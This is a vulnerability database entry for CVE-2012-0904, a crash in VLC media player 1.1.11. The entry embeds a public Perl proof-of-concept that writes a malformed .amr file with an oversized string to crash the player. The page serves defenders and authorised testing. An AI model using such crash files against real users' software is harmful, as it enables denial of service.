CVE-2012-0904

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Published 2012-01-20 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

VLC media player 1.1.11 allows remote attackers to cause a denial of service (crash) via a long string in an amr file.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18309 dos windows verified perl · 1 KB

Fabi@habsec · 2012-01-04

VideoLAN VLC Media Player 1.1.11 - '.amr' Denial of Service (PoC)

perl exploit Source: Exploit-DB

#!/usr/bin/perl
##
# Exploit Title: VLC media player v1.1.11 (.amr) Local Crash PoC
# Date: 04.01.2012
# Author: Fabi@habsec (hapsec@gmail.com)
# Software Link: http://sourceforge.net/projects/vlc/files/1.1.11/win32/vlc-1.1.11-win32.exe
# Version: 1.1.11
# Tested on: Windows 7 x86 English
#
# Description: Unhandled Access Violation Exception loading generated .amr file
#              - 1.1.10 not affected!
#
##
#
#
#
system("title VLC .amr crash PoC");
system("cls");
print "\n";                  
print " [*] Name : VLC media player v1.1.11 (Adaptive Multi-Rate)\n";
print " [*] Exploit : Local Crash PoC                            \n";
sleep(2);
print "\n";
my $amr_boof = "\x23\x21\x41\x4D\x52"; # Treat as AMR 
$amr_boof .= "\x41"x1000; # j4f
open(file , ">", "b00f.amr");
print file $amr_boof;
print "  [+] File successfully created! Open in VLC or drag to playlist..\n" or die print "\n Wuups- Could not create File.. ";
close(file);
# 
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OS impact

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`0`
sid	Fixed	`0`
forky	Fixed	`0`
bullseye	Fixed	`0`
bookworm	Fixed	`0`

Application impact

Vendor	Product	Versions	Fixed
videolan	vlc_media_player	`1.1.11`

References

CWEs

CWE-399

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